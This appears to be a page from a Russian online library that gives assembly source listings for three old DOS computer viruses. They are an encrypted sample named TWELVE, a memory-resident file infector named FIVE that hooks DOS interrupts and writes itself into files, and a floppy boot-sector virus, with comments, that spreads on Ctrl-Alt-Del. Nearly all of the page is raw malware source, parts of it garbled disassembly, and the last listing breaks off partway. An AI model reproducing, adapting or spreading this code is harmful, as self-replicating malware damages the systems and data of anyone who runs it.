ЭЛЕКТРОННАЯ БИБЛИОТЕКА КОАПП
Сборники Художественной, Технической, Справочной, Английской, Нормативной, Исторической, и др. литературы.



              Example of viruses in sourse ASM





PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             TWELVE                                   лл
;лл                                                                      лл
;лл      Created:   26-Apr-90                                            лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     3366h                   ; (7415:3366=0)
data_2e         equ     7EF7h                   ; (7415:7EF7=0)
data_3e         equ     8C8Dh                   ; (7415:8C8D=0)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

twelve          proc    far

start:
;*              jmp     $+4h                    ;*
               db      0E9h, 1, 0
               db      21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
               db      2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
               db      0B9h, 71h, 5, 31h, 0Dh, 2Bh
               db      0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
               db      0D8h, 90h, 33h, 0D1h, 31h, 5
               db      46h, 43h, 0F8h, 40h, 90h, 47h
               db      0E2h, 0E9h, 40h, 40h, 61h, 1Fh
               db      6Eh, 3, 0C9h, 82h, 6Fh, 36h
               db      0D1h, 5Ah, 8Bh, 33h, 0C3h, 6Bh
               db      0D5h, 0D7h, 85h, 0CCh, 17h, 4Eh
               db      0E9h, 0F3h, 7Ch, 0B1h, 29h, 52h
               db      0FBh, 0FFh, 74h, 0B5h, 2Bh, 56h
               db      0F9h, 0F3h, 64h, 0A9h, 0Dh, 32h
               db      9Bh, 97h, 1Ch, 0D5h, 7Fh, 64h
               db      82h, 7Bh, 0ADh, 94h, 1Eh, 61h
               db      6Ch, 29h, 7Dh, 0F3h, 4Ah, 0F7h
               db      0F4h, 4Ah, 0FEh, 0FFh, 1, 0
               db      51h, 7Ch, 7, 47h, 0DDh, 22h
               db      0CCh, 0EFh, 0D5h, 1Bh, 0F2h, 81h
               db      0DEh, 36h, 5Fh, 0D1h, 0D3h, 63h
               db      0FAh, 1Eh, 0CCh, 23h, 0E1h, 76h
               db      0ABh, 0Bh, 39h, 5Ch, 0DEh, 0B9h
               db      3, 0F4h, 7Eh, 21h, 74h, 31h
               db      0Ch, 0EFh, 59h, 9, 0D9h, 37h
               db      12h, 44h, 92h, 18h, 30h, 12h
               db      0ABh, 16h, 14h, 4Ch, 0BAh, 6Eh
               db      2Bh, 6Fh, 0F5h, 5Bh, 4Ch, 0F3h
               db      7Dh, 0Dh, 53h, 4Ah, 0F1h, 0F7h
               db      59h, 5Dh, 98h, 2, 0Fh, 29h
               db      8Bh, 0D0h, 5Ch, 0ADh, 29h, 54h
               db      3, 52h, 13h, 76h, 0D5h, 58h
               db      13h, 4, 0D7h, 63h, 39h, 74h
               db      8Bh, 7, 0FDh, 8Ah, 0F9h, 1Ah
               db      0D1h, 0F5h, 39h, 0EDh, 0BBh, 0C9h
               db      63h, 8Dh, 0B9h, 97h, 1Eh, 6Dh
               db      0BBh, 14h, 0EBh, 67h, 14h, 50h
               db      34h, 93h, 41h, 0D3h, 0D6h, 87h
               db      0FEh, 0CBh, 0F5h, 87h, 0F9h, 55h
               db      16h, 7, 39h, 49h, 0F5h, 0F3h
               db      0B6h, 0F0h, 64h, 0A5h, 21h, 57h
               db      28h, 2Ch, 0A9h, 0DCh, 6Dh, 8Fh
               db      7Fh, 5Eh, 0ABh, 21h, 66h, 1Ch
               db      6Ch, 35h, 63h, 0F7h, 4Ch, 0F5h
               db      0FDh, 0Ch, 59h, 78h, 6, 43h
               db      0BBh, 78h, 3Bh, 6Eh, 2Fh, 0B2h
               db      15h, 0AEh, 16h, 13h, 0D0h, 3Eh
               db      0F6h, 15h, 85h, 0DBh, 0A1h, 5Ch
               db      20h, 0CEh, 9Eh, 0F0h, 1Eh, 68h
               db      39h, 78h, 79h, 8, 0FDh, 0D7h
               db      0EAh, 0CBh, 0EAh, 87h, 0, 6Eh
               db      51h, 28h, 0D5h, 0D7h, 2Dh, 0A7h
               db      38h, 5Ch, 61h, 28h, 0D5h, 0DDh
               db      0A1h, 0Dh, 66h, 91h, 1Fh, 0A5h
               db      74h, 31h, 0Ah, 0F3h, 51h, 55h
               db      0C1h, 0F3h, 80h, 0Dh, 0ABh, 4Bh
               db      0EDh, 0ACh, 66h, 45h, 14h, 55h
               db      34h, 93h, 50h, 0BEh, 14h, 0DDh
               db      63h, 2Fh, 94h, 0D0h, 6Ch, 0Eh
               db      13h, 0Ch, 7Eh, 21h, 74h, 31h
               db      5Ch, 0FFh, 30h, 0D2h, 4Dh, 0F5h
               db      0C8h, 78h, 3Bh, 6Eh, 2Fh, 72h
               db      0D5h, 1Ah, 0F4h, 0A0h, 0D9h, 36h
               db      0B5h, 0D2h, 19h, 5Ch, 0Dh, 6Bh
               db      0EDh, 0B8h, 20h, 0D2h, 7Ch, 0B9h
               db      0Dh, 7Ah, 0ABh, 5, 49h, 0CCh
               db      4Ch, 0F4h, 0F5h, 78h, 3Bh, 6Eh
               db      2Fh, 83h, 12h, 0DDh, 33h, 0D8h
               db      41h, 31h, 0, 0D8h, 0E7h, 0D8h
               db      11h, 14h, 26h, 0ADh, 0DAh, 0E2h
               db      39h, 8Fh, 35h, 0F1h, 0BFh, 33h
               db      0CCh, 7Bh, 0F5h, 0F7h, 4Fh, 0F3h
               db      0EDh, 22h, 0CCh, 0A0h, 0D6h, 3Eh
               db      0C0h, 0D2h, 11h, 55h, 4, 1Fh
               db      0Ah, 83h, 1Dh, 82h, 21h, 6Ah
               db      45h, 0F0h, 0F5h, 3Bh, 15h, 9Ah
               db      79h, 6Bh, 0FDh, 72h, 34h, 2Ah
               db      0F1h, 3Fh, 89h, 0, 13h, 5Fh
               db      0E1h, 62h, 7Ah, 3Ch, 9Eh, 53h
               db      0Fh, 88h, 98h, 23h, 0B9h, 5Eh
               db      0CCh, 0DCh, 3Ch, 3Fh, 0Bh, 80h
               db      0A3h, 3, 31h, 3Eh, 0D4h, 0D7h
               db      0F4h, 3Bh, 3Dh, 0B0h, 0ABh, 1Fh
               db      21h, 34h, 17h, 28h, 0D5h, 1Fh
               db      0F9h, 0FEh, 18h, 0D7h, 19h, 1Bh
               db      90h, 95h, 5, 23h, 6Ah, 0FDh
               db      71h, 0F0h, 0F5h, 0AAh, 31h, 0FFh
               db      7Ch, 32h, 0D2h, 0F6h, 7Ch, 7Fh
               db      0ECh, 0EFh, 21h, 83h, 6Dh, 0EDh
               db      15h, 98h, 5Bh, 0EFh, 0D1h, 2Dh
               db      0A2h, 51h, 0FFh, 9Ah, 69h, 0EBh
               db      0EDh, 3Fh, 1Ch, 95h, 0Bh, 3Fh
               db      0FEh, 7Dh, 12h, 2Eh, 0F6h, 3Bh
               db      25h, 0A8h, 33h, 6Eh, 2Eh, 0F4h
               db      0D5h, 10h, 93h, 35h, 0DAh, 0DFh
               db      35h, 0C7h, 0D4h, 5Eh, 0ABh, 3Dh
               db      6Ch, 2Ch, 0FDh, 0F3h, 39h, 0D1h
               db      14h, 0B5h, 1Bh, 7Ch, 0FDh, 3Fh
               db      0B9h, 53h, 0F4h, 0F2h, 6Ch, 2Ch
               db      0FDh, 93h, 59h, 20h, 0CAh, 6Bh
               db      9Dh, 26h, 9Fh, 93h, 1Eh, 0E1h
               db      79h, 5Fh, 17h, 94h, 2Bh, 0D6h
               db      0F5h, 4, 51h, 78h, 0BBh, 11h
               db      0D6h, 34h, 0BAh, 5Dh, 7Eh, 0BDh
               db      1, 6Eh, 4, 65h, 0D6h, 0ECh
               db      1Ah, 0A7h, 0D4h, 65h, 0DDh, 0D3h
               db      3Dh, 61h, 0D5h, 38h, 0, 23h
               db      66h, 85h, 19h, 0A1h, 7Eh, 0Dh
               db      31h, 5Eh, 0E5h, 0CAh, 0F5h, 76h
               db      33h, 0A4h, 0EDh, 23h, 0D1h, 0AEh
               db      0D3h, 18h, 16h, 99h, 0CBh, 0EDh
               db      0B8h, 4Ch, 4Fh, 0FEh, 86h, 12h
               db      0E9h, 0E9h, 0EDh, 0A3h, 0Ah, 15h
               db      39h, 1Ah, 66h, 0DCh, 0C0h, 1Fh
               db      0F1h, 3Bh, 96h, 0E5h, 0F1h, 57h
               db      0EDh, 91h, 6Ch, 0D7h, 0D5h, 69h
               db      0DDh, 0DFh, 10h, 0F2h, 0A7h, 0D8h
               db      61h, 93h, 54h, 0ECh, 0EDh, 3Fh
               db      21h, 0A8h, 23h, 72h, 3Fh, 6Ch
               db      0FDh, 3Eh, 0D4h, 7Ch, 0A3h, 9
               db      66h, 0A1h, 15h, 12h, 74h, 77h
               db      6Ah, 12h, 54h, 80h, 9Dh, 2Bh
               db      94h, 0C0h, 58h, 0B2h, 59h, 0D1h
               db      20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
               db      0B3h, 9, 76h, 25h, 74h, 35h
               db      54h, 0F3h, 20h, 0CEh, 0F3h, 58h
               db      83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
               db      0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
               db      2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
               db      3, 78h, 18h, 40h, 0FDh, 0F2h
               db      0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
               db      0A3h, 0E3h, 94h, 0E6h, 29h, 92h
               db      9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
               db      0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
               db      5, 76h, 14h, 0F4h, 0FDh, 0AEh
               db      0BCh, 0C0h, 35h, 0Eh, 26h, 23h
               db      0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
               db      0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
               db      0DEh, 7, 5Eh, 12h
loc_1:
               cmp     al,0Fh
               mov     bp,7E24h
               aas                             ; Ascii adjust
               lodsw                           ; String [si] to ax
               mov     bl,2Ah                  ; '*'
               cld                             ; Clear direction
               mov     bx,7E1Fh
               pop     es
               push    es
               push    di
               db      2Eh, 55h, 0EDh, 93h, 7Dh, 49h
               db      6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
               db      0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
               db      0BEh, 78h, 29h, 0A7h, 0A3h
               db      78h

locloop_2:
               mov     bh,ch
               add     dh,ds:data_2e[si]       ; (7415:7EF7=0)
               adc     word ptr [bx],41h
               esc     7,cl                    ; coprocessor escape
               pop     cx
               xchg    ax,dx
               rcr     cl,1                    ; Rotate thru carry
               rcl     byte ptr [di-68h],cl    ; Rotate thru carry
               esc     2,ds:data_3e[di]        ; (7415:8C8D=0) coprocessor escape
               sbb     al,ds:data_1e[bx+si]    ; (7415:3366=0)
loc_3:
               mov     bp,7EA5h
               adc     word ptr [bx+di],0CD5Fh
               sti                             ; Enable interrupts
               ja      loc_1                   ; Jump if above
               db      0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
               db      0B3h
               db      4Bh, 4Dh
loc_5:
               esc     3,[bp+si+4E0Eh]         ; coprocessor escape
               movsb                           ; Mov [si] to es:[di]
               push    ds
               adc     [bp+0Bh],al
               popf                            ; Pop flags
               push    si
               add     al,dl
               db      6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
               db      76h, 0B9h, 11h, 0DEh, 90h, 0F7h
               db      56h, 0F7h, 0EDh
loc_6:
               loopz   locloop_2               ; Loop if zf=1, cx>0

;*              jo      loc_4                   ;*Jump if overflow=1
               db      70h, 0D3h
               xlat [bx]                       ; al=[al+[bx]] table
               jbe     loc_5                   ; Jump if below or =
               esc     5,[si]                  ; coprocessor escape
               test    cx,sp
               dec     ax
               adc     al,49h                  ; 'I'
               int     0BDh
               push    di
               in      ax,dx                   ; port 0, DMA-1 bas&add ch 0
               rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
               call    $-4A7Fh
               sbb     ax,5E05h
               push    bp
               jl      loc_3                   ; Jump if <
               das                             ; Decimal adjust
               dec     si
;*              jmp     short loc_7             ;*(04BD)
               db      0EBh, 0EDh
               db      18h, 0D3h, 49h, 36h, 95h, 9Dh
               db      14h, 0DBh, 71h, 36h, 99h, 95h
               db      68h, 0B5h, 0F0h, 70h, 30h, 4Ah
               db      0DCh, 0F4h, 4Bh, 66h, 0E5h, 44h
               db      82h, 0F0h, 0Fh, 9, 0B5h, 0A6h
               db      7Fh, 0DCh, 0D6h, 0E4h, 0DAh, 0E6h
               db      2, 0EEh, 6, 0F6h, 0Bh, 0FEh
               db      0Eh, 0FEh
               db      9
loc_8:
               jge     loc_6                   ; Jump if > or =
               stosb                           ; Store al to es:[di]
               mov     al,0B3h
               mov     ch,0Dh
               mov     ax,1D6Dh
               sbb     dh,al
               cmc                             ; Complement carry
               hlt                             ; Halt processor
               div     al                      ; al, ah rem = ax/reg
               jmp     short loc_8             ; (04FD)
               db      0E4h, 12h, 1Fh, 16h, 1Eh, 12h
               db      11h, 1Eh, 10h, 11h, 1Bh, 15h
               db      5, 11h, 0FFh, 0EDh, 0F9h, 0F1h
               db      0E3h, 0F5h, 0EDh, 0F1h, 0E7h, 0FEh
               db      0E1h, 0F2h, 0E8h, 0F6h, 0EBh, 0F2h
               db      0F2h, 0EEh, 0CDh, 0D2h, 0F4h, 0D6h
               db      0F7h, 0D2h, 0FEh, 0DEh, 0F9h, 58h
               db      9Bh, 3Fh, 5Eh, 95h, 7, 64h
               db      13h, 72h, 1Ah, 41h, 0F6h, 1Bh
               db      0DCh, 0FFh, 49h, 0B3h, 4Ch, 1Bh
               db      0F1h, 78h, 3Bh, 6Eh, 7, 4Eh
               db      96h, 5Ah, 0B4h, 0Fh, 0CDh, 14h
               db      0D3h, 7Bh, 1Eh, 0D1h, 7Fh, 18h
               db      13h, 6Eh, 2, 45h, 0F6h, 1Fh
               db      0F6h, 0F3h, 0A5h, 62h, 3Eh, 0C2h
               db      0F0h, 0C6h, 0F8h, 0B3h, 0AAh, 0Dh
               db      15h, 10h, 61h, 0D7h, 18h, 3Ah
               db      0DCh, 0DFh, 0F7h, 0FDh, 96h, 98h
               db      98h, 0D3h, 0BDh, 0AEh, 0B9h, 0BBh
               db      0C8h, 0B6h, 0B2h, 0B2h, 0AFh, 0D1h
               db      0BEh, 0BCh, 0B8h, 0F7h, 0F5h, 0BEh
               db      0EDh, 0EFh, 0EDh, 13h, 14h, 16h
               db      14h, 12h, 1Ch, 1Eh, 1Ch, 12h
               db      14h, 16h, 14h, 12h, 0ECh, 0EFh
               db      0EDh, 0F3h, 0F5h, 0F7h, 0F5h, 0F3h
               db      0FDh, 0FFh, 0FDh, 0F3h, 0F5h, 0F7h
               db      0F5h, 0F3h, 0EDh, 0EFh, 0EDh, 0D3h
               db      0D5h, 0D7h, 0D5h, 0D3h, 0DDh, 0DFh
               db      0DDh, 0D3h, 0D5h, 0D7h, 0D5h, 0D3h
               db      0EDh, 0EFh, 0EDh, 0F3h, 0F5h, 0F4h
               db      0CAh, 0CCh, 0C2h, 0C0h, 0C2h, 0CCh
               db      0CAh, 0C8h, 0B6h, 0BCh, 0A0h, 0ECh
               db      0E3h, 93h, 95h, 97h, 29h, 5Fh
               db      0B6h, 9Fh, 0BDh, 58h, 0Fh, 0Dh
               db      81h, 97h, 0EDh, 0EFh, 0EDh, 0B2h
               db      0B2h, 0B6h, 0A7h, 0DDh, 0BEh, 0B0h
               db      0B0h, 0F3h, 0F5h, 0BAh, 0F5h, 0F3h
               db      0EDh, 0EFh, 0EDh

twelve          endp

seg_a           ends



               end     start






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             FIVE                                     лл
;лл                                                                      лл
;лл      Created:   18-Jan-91                                            лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     200h                    ; (0000:0200=0)
data_2e         equ     4                       ; (7415:0004=0)
data_6e         equ     0FE07h                  ; (7415:FE07=0)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

five            proc    far

start:
               mov     si,4
               mov     ds,si
               lds     dx,dword ptr [si+8]     ; Load 32 bit ptr
               mov     ah,13h
               int     2Fh                     ; Multiplex/Spooler al=func 00h
                                               ;  get installed status
               push    ds
               push    dx
               int     2Fh                     ; Multiplex/Spooler al=func 00h
                                               ;  get installed status
               pop     ax
               mov     di,0F8h
               stosw                           ; Store ax to es:[di]
               pop     ax
               stosw                           ; Store ax to es:[di]
               mov     ds,si
               lds     ax,dword ptr [si+40h]   ; Load 32 bit ptr
               cmp     ax,117h
               stosw                           ; Store ax to es:[di]
               mov     ax,ds
               stosw                           ; Store ax to es:[di]
               push    es
               push    di
               jnz     loc_1                   ; Jump if not zero
               shl     si,1                    ; Shift w/zeros fill
               mov     cx,1FFh
               repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
               jz      loc_2                   ; Jump if zero
loc_1:
               mov     ah,52h                  ; 'R'
               int     21h                     ; DOS Services  ah=function 52h
                                               ;  get DOS data table ptr es:bx
               push    es
               mov     si,0F8h
               les     di,dword ptr es:[bx+12h]        ; Load 32 bit ptr
               mov     dx,es:[di+2]
               mov     cx,207h
               rep     movs byte ptr es:[di],ss:[si]   ; Rep when cx >0 Mov [si] to es:[di]
               mov     ds,cx
               mov     di,16h
               mov     word ptr [di+6Eh],117h
               mov     [di+70h],es
               pop     ds
               mov     [bx+14h],dx
               mov     dx,cs
               mov     ds,dx
               mov     bx,[di-14h]
               dec     bh
               mov     es,bx
               cmp     dx,[di]
               mov     ds,[di]
               mov     dx,[di]
               dec     dx
               mov     ds,dx
               mov     si,cx
               mov     dx,di
               mov     cl,28h                  ; '('
               rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
               mov     ds,bx
               jc      loc_4                   ; Jump if carry Set
loc_2:
               mov     si,cx
               mov     ds,ss:[si+2Ch]
loc_3:
               lodsw                           ; String [si] to ax
               dec     si
               or      ax,ax                   ; Zero ?
               jnz     loc_3                   ; Jump if not zero
               lea     dx,[si+3]               ; Load effective addr
loc_4:
               mov     ax,3D00h
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               xchg    ax,bx
               pop     dx
               push    dx
               push    cs
               pop     ds
               push    ds
               pop     es
               mov     cl,2
               mov     ah,3Fh                  ; '?'
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               mov     dl,cl
               xchg    cl,ch
               mov     al,byte ptr ds:[100h]   ; (7415:0100=0BEh)
               cmp     al,data_5               ; (7415:02FF=2Ah)
               jne     loc_5                   ; Jump if not equal
               mov     ah,3Fh                  ; '?'
loc_5:
               jmp     $-157h

five            endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               push    bx
               mov     ax,1220h
               int     2Fh                     ; Multiplex/Spooler al=func 20h
               mov     bl,es:[di]
               mov     ax,1216h
               int     2Fh                     ; Multiplex/Spooler al=func 16h
               pop     bx
               lea     di,[di+15h]             ; Load effective addr
               mov     bp,200h
               retn
sub_1           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_2           proc    near
               mov     ah,3Fh                  ; '?'

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

sub_3:
               pushf                           ; Push flags
               push    cs
               call    sub_4                   ; (0248)
               retn
sub_2           endp

               db      0E8h, 0DFh, 0FFh, 26h, 8Bh, 35h
               db      0E8h, 0EFh, 0FFh, 72h, 24h, 3Bh
               db      0F5h, 73h, 20h, 50h, 26h, 8Ah
               db      45h, 0F8h, 0F6h, 0D0h, 24h, 1Fh
               db      75h, 14h, 26h, 3, 75h, 0FCh
               db      26h, 87h, 35h, 26h, 1, 6Dh
               db      0FCh, 0E8h, 0D0h, 0FFh, 26h, 29h
               db      6Dh, 0FCh, 96h, 0ABh
loc_6:
               pop     ax
loc_7:
               pop     es
               pop     si
               pop     di
               pop     bp
               retf    2                       ; Return far
               db      0E8h, 0C1h, 0FFh, 9Fh, 8Ah, 0C1h
               db      24h, 1Fh
               db      3Ch
data_4          db      1Fh
               db      75h, 2, 32h, 0C8h
loc_8:
               sahf                            ; Store ah into flags
               jmp     short loc_6             ; (01F6)
               db      55h, 57h, 56h, 6, 0FCh, 8Bh
               db      0ECh, 8Eh, 46h, 0Ah, 0BFh, 17h
               db      1, 8Bh, 0F7h, 2Eh, 0A7h, 74h
               db      22h, 80h, 0FCh, 3Fh, 74h, 0A1h
               db      50h, 3Dh, 0, 57h, 74h, 0D1h
               db      80h, 0FCh, 3Eh, 9Ch, 53h, 51h
               db      52h, 1Eh, 74h, 1Bh, 3Dh, 0
               db      4Bh, 74h, 11h
loc_9:
               pop     ds
               pop     dx
               pop     cx
               pop     bx
               popf                            ; Pop flags
               jz      loc_6                   ; Jump if zero
               pop     ax
               pop     es
               pop     si
               pop     di
               pop     bp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_4           proc    near
               jmp     dword ptr cs:data_2e    ; (7415:0004=0)
               db      0B4h, 3Dh, 0CDh, 21h, 93h, 0E8h
               db      55h, 0FFh, 72h, 0E5h, 33h, 0C9h
               db      87h, 0CDh, 8Eh, 0DDh, 0BEh, 4Ch
               db      0, 0ADh, 50h, 0ADh, 50h, 0B8h
               db      24h, 25h, 50h, 0FFh, 74h, 40h
               db      0FFh, 74h, 42h, 0Eh, 1Fh, 0BAh
               db      67h, 0, 0CDh, 21h, 0C5h, 54h
               db      0B0h, 0B0h, 13h, 0CDh, 21h, 6
               db      1Fh, 89h, 2Dh, 88h, 6Dh, 0EDh
               db      81h, 7Dh, 14h, 4Fh, 4Dh, 75h
               db      34h, 8Bh, 55h, 0FCh, 2, 0F5h
               db      80h, 0FEh, 4, 72h, 2Ah, 0F6h
               db      45h, 0EFh, 4, 75h, 24h, 0C5h
               db      75h, 0F2h, 38h, 6Ch, 4, 76h
               db      8, 4Ah, 0D0h, 0EEh, 22h, 74h
               db      4, 74h, 14h
loc_10:
               mov     ds,bp
               mov     dx,cx
               call    sub_2                   ; (01C0)
               mov     si,dx
               dec     cx

locloop_11:
               lodsb                           ; String [si] to al
               cmp     al,cs:data_6e[si]       ; (7415:FE07=0)
               jne     loc_13                  ; Jump if not equal
               loop    locloop_11              ; Loop if cx > 0

loc_12:
               mov     ah,3Eh                  ; '>'
               call    sub_3                   ; (01C2)
               pop     ds
               pop     dx
               pop     ax
               int     21h                     ; DOS Services  ah=function 00h
                                               ;  terminate, cs=progm seg prefx
               pop     ds
               pop     dx
               mov     al,13h
               int     21h                     ; DOS Services  ah=function 00h
                                               ;  terminate, cs=progm seg prefx
               jmp     loc_9                   ; (023C)
loc_13:
               mov     cx,dx
               mov     si,es:[di-4]
               mov     es:[di],si
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               mov     al,ds:data_1e           ; (0000:0200=0)
               push    es
               pop     ds
               mov     [di-4],si
               mov     [di],bp
               or      byte ptr [di-8],1Fh
               push    cs
               pop     ds
               mov     data_4,al               ; (7415:0207=1Fh)
               mov     dx,8
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               or      byte ptr es:[di-0Fh],40h        ; '@'
               jmp     short loc_12            ; (02BE)
sub_4           endp

data_5          db      2Ah

seg_a           ends



               end     start





;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety.                           ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory.  It redirects the keyboard       ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
; it will attempt to infect any floppy it finds in drive A:.            ;
; It keeps the real boot sector at track 39, sector 8, head 0           ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus                     ;
; will die.  It also contains no anti detection mechanisms as does the  ;
; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
; sector 9 because this is common to all floppy formats both single     ;
; sided and double sided.  It does not contain any malevolent TROJAN    ;
; HORSE code.  It does appear to contain a count of how many times it   ;
; has infected other diskettes although this is harmless and the count  ;
; is never accessed.                                                    ;
;                                                                       ;
; Things to note about this virus:                                      ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other  ;
; floppy diskettes.  The only way to remove it from an infected system  ;
; is to turn the machine off and reboot an uninfected copy of DOS.      ;
; It is even resident when no floppy is booted but BASIC is loaded      ;
; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
; it activates and infectes the floppy from which the user is           ;
; attempting to boot.                                                   ;
;                                                                       ;
; Also note that because of the POP CS command to pass control to       ;
; its self in upper memory, this virus does not to work on 80286        ;
; machines (because this is not a valid 80286 instruction).             ;
;                                                                       ;
; The Norton Utilities can be used to identify infected diskettes by    ;
; looking at the boot sector and the DOS SYS utility can be used to     ;
; remove it (unlike the Pakistani Brain).                               ;
;-----------------------------------------------------------------------;
                       ;
   ORG  7C00H               ;
                       ;
TOS LABEL     WORD           ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
; 4. Jump to ourself at top of memory                                   ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
;-----------------------------------------------------------------------;
BEGIN:   CLI                 ;INITIALIZE STACK
   XOR  AX,AX               ;
   MOV  SS,AX               ;
   MOV  SP,offset TOS       ;
   STI                 ;
                       ;
   MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
   MOV  DS,BX               ;
   MOV  AX,[0013H]          ;
   MUL  BX             ;
   SUB  AX,07E0H       ;   (7C00H+512)/16
   MOV  ES,AX               ;
                       ;
   PUSH CS             ;DS = CS
   POP  DS             ;
                       ;
   CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
   JNE  B_10           ;
   DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
                       ;
B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
   MOV  DI,SI               ;
   MOV  CX,512              ;
   CLD                 ;
   REP  MOVSB               ;
                       ;
   MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
   MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
   MOV  CX,128              ;
   REP  MOVSB               ;
                       ;
   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
                       ;
   PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
   NOP
                       ;
   PUSH DS   ;DS=0     ;   ES = DS
   POP  ES             ;
                       ;
   MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
   MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
   MOV  CX,2708H       ;   TRACK 40, SECTOR 8
   MOV  AX,0201H       ;   READ SECTOR
   INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
   JB   $              ;   HANG IF ERROR
                       ;
   JMP  JMP_BOOT       ;JMP 0000:7C00
                       ;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
;                                                                       ;
; ON ENTRY:   DS = 0                                                    ;
;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
;             WHERE NEW_09 IS         (HI)                              ;
;-----------------------------------------------------------------------;
PUT_NEW_09:                  ;
   DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
                       ;
   MOV  SI,9*4              ;COPY INT 9 VECTOR TO
   MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
   MOV  CX,0004             ;
                       ;
   CLI                 ;
   REP  MOVSB               ;
   MOV  Word Ptr [9*4],offset NEW_09
   MOV  [(9*4)+2],ES        ;
   STI                 ;
                       ;
   RET                 ;
                       ;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
;-----------------------------------------------------------------------;
ACK_KEYBD:                   ;
   IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
   MOV  AH,AL               ;
   OR   AL,80H              ;
   OUT  61H,AL              ;
   XCHG AL,AH               ;
   OUT  61H,AL              ;
   JMP  RBOOT               ;
                       ;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
; REASON UNKNOWN                                                        ;
;-----------------------------------------------------------------------;
TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
   DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
   DB   27H,0,3,2      ;
   DB   27H,0,4,2      ;
   DB   27H,0,5,2      ;
   DB   27H,0,6,2      ;
   DB   27H,0,7,2      ;
   DB   27H,0,8,2      ;
                       ;
;A7C9A   LABEL     BYTE           ;
   DW   00024H              ;NOT USED
   DB   0ADH           ;
